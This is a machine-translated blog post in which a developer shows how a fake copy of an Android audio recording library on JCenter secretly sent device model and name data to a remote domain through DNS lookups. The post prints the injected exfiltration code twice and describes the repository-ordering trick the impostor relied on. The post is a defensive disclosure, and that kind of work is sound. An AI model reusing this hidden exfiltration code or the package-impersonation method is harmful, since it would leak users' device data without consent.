This article is from a translation of an English article from abroad. Http://blog.autsof.hu/A-confusing… Because of this, the current project ranks JCenter last in the list of dependent library sources.
Earlier this year, I received an assignment to put together a demo app that involved recording and playing audio. As always in this situation, I searched the Internet and browsed through the existing libraries to see if anyone had a solution I could use, or at least based on my implementation.
found
I stumbled upon a soon called adrielcafe/AndroidAudioRecorder library. It has some audio recording Settings, a nice UI, very close to what I need, and almost a thousand stars on GitHub.
I create a new project and follow the instructions in the README.
I added the permissions needed to record audio and save files to the list, which is fair:
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.WAKE_LOCK" />
Copy the code
I added the JitPack to my repository and added the library to my dependencies:
allprojects {
repositories {
google()
jcenter()
maven { url "https://jitpack.io" }
}
}
Copy the code
Dependencies {implementation 'com. Making. Adrielcafe: AndroidAudioRecorder: 0.3.0'}Copy the code
Finally, I added the most basic use example of the library. :
AndroidAudioRecorder.with(this)
.setFilePath(File(getExternalStorageDirectory(), "audio.wav").path)
.setRequestCode(0)
.record()
Copy the code
surprised
After building and starting my application, I immediately crashed. I think it must be an API-level problem (on Oreo), or maybe I messed up the call to the library. The usual suspects. Then, what I found in the logs was quite a surprise.
07-25 15:09:23. 386, 3288-3311 / hu autsoft. Example. Audiotest E/AndroidRuntime: FATAL EXCEPTION: Thread - 5 Process: hu.autsoft.example.audiotest, PID: 3288 java.lang.SecurityException: Permission denied (missing INTERNET permission?) at java.net.Inet6AddressImpl.lookupHostByName(Inet6AddressImpl.java:135) at java.net.Inet6AddressImpl.lookupAllHostAddr(Inet6AddressImpl.java:90) at java.net.InetAddress.getByName(InetAddress.java:743) at cafe.adriel.androidaudiorecorder.AudioRecorderActivity$1.run(AudioRecorderActivity.java:143) Caused by: android.system.GaiException: android_getaddrinfo failed: EAI_NODATA (No address associated with hostname) at libcore.io.Linux.android_getaddrinfo(Native Method) ...Copy the code
The library appears to have made a network call during initialization. He was going to do it, anyway. Skip to the line pointed to by stackTrace, and at the end of onCreate in the Library’s recording Activity, after a legitimate initialization call, I find this:
protected void onCreate(Bundle savedInstanceState) { ... Thread thread = new Thread() { @Override public void run() { try { InetAddress abc = InetAddress.getByName(new String(Base64.encode((Build.MODEL + ";" + Build.DEVICE).getBytes(), Base64.NO_WRAP)).concat(".n.cdn-radar.com")); if(abc.isLoopbackAddress()) { keepDisplayOn = false; } } catch (UnknownHostException e) { e.printStackTrace(); }}}; thread.start(); }Copy the code
A new thread starts and constructs a URL that contains the model and name of the device with the suffix. N.cdn-radar.com (I do not recommend visiting). Then, an isLoopbackAddress () call, as FAR as I know (this is mostly guesswork, correct me if you know more about this method) may or may not briefly connect to the given address while checking to see if it is a loopback address. (keepDisplayOn is a random field in this class, and I’m assuming this line is here, so this code seems reasonable.)
So basically, this code — if it works — sends my device’s make and Model to a random server. Or it would if it had an Internet license, which almost all apps do by default. Fortunately, my latest demo app doesn’t have this feature yet.
survey
After some debugging, I found very similar code in a constructor in the library:
private AndroidAudioRecorder(Activity activity) { this.activity = activity; Thread thread = new Thread() { @Override public void run() { try { InetAddress byName = InetAddress.getByName(new String(Base64.encode((Build.MODEL + ";" + Build.DEVICE).getBytes(), Base64.NO_WRAP)).concat(".n.cdn-radar.com")); if(byName.isLoopbackAddress()) { color = 0; } } catch (UnknownHostException e) { e.printStackTrace(); }}}; thread.start(); }Copy the code
Of course, GitHub’s source code looks like this:
private AndroidAudioRecorder(Activity activity) {
this.activity = activity;
}
Copy the code
This is highly suspicious. Why would the author of a seemingly popular library publish a different.AAR than the one created from the source code? At this point, I have raised the issue with them.
But then, since they didn’t reply, I kept thinking… . What would the JitPack do if they just took the code from GitHub and packaged it themselves? Will JitPack inject this malicious code into the library? Of course not… .
As a random debugging step, I removed the JitPack from the repository.
allprojects {
repositories {
google()
jcenter()
// maven { url "https://jitpack.io" }
}
}
Copy the code
My code is still compiling.
reveal
This means that, in fact, I didn’t get the library from the JitPack. It comes from jCenter. How does the library get there? People post them to Bintray and then ask to link them to JCenter (an automatic and rarely rejected process as far as I know).
This is usually a good thing because the library author, JCenter, is added as a repository by default with every new Android project, so people who want to use your library don’t have to add a new repository, which means adding your library to their project is just a simple, one-line change.
A search for the bag on Bintray quickly revealed our culprit. Created by the apparently fake Jake Whaarton, we found this and many other fake libraries under a repo named Timber after one of Jake Wharton’s real libraries. Some of these are also copies of popular Android libraries or their typos, while others are related to cryptocurrencies.
Note: Yes, the link in the previous paragraph is now broken, see updates later in this article.
Going back to the fake copy of the recording library, we will see why Gradle extracted this library from JCenter: its groupId, artifactId, and version match the original version exactly, which is all Gradle has to do to identify a package.
Of course, this package exists not only on jCenter, but also on JitPack. So why does Gradle pull false ones from JCenter? Quite simply, the repository is listed first in our build.gradle file. For most people, it will be one of the warehouses added to the project by default. That’s what this fake user is counting on.
conclusion
What can we do? Bintray lets users report warehouses and bags at the same time, which is the best thing we can do. I did this with a few colleagues back in February 2018. The bag was obviously fake and malicious. Bintray hasn’t done anything to it yet. The scheme laid out above can still be repeated today.
Update: Bintray noticed the issue on Twitter after this post was published and has since removed the package linked above, promising improvements in the future. I still have my doubts.
Update 2: Bintray has now released a full incident report detailing what happened, their remediation efforts, and again apologising for the incident.
While there are far fewer horror stories about Gradle dependencies than there are about NPM, unexpected and even malicious things can still happen in this ecosystem, and it may take a lot of luck to even notice.
Of course, you can also run your own Maven repository in-house and make every project completely dependent on it, with only carefully vetted and verified packages being imported. Most people don’t have time to be so cautious about dependencies.
For now, I’m just starting to list JCenter () at the end of my project repository.
The original address
Blog. Autsoft. Hu/a – confusing…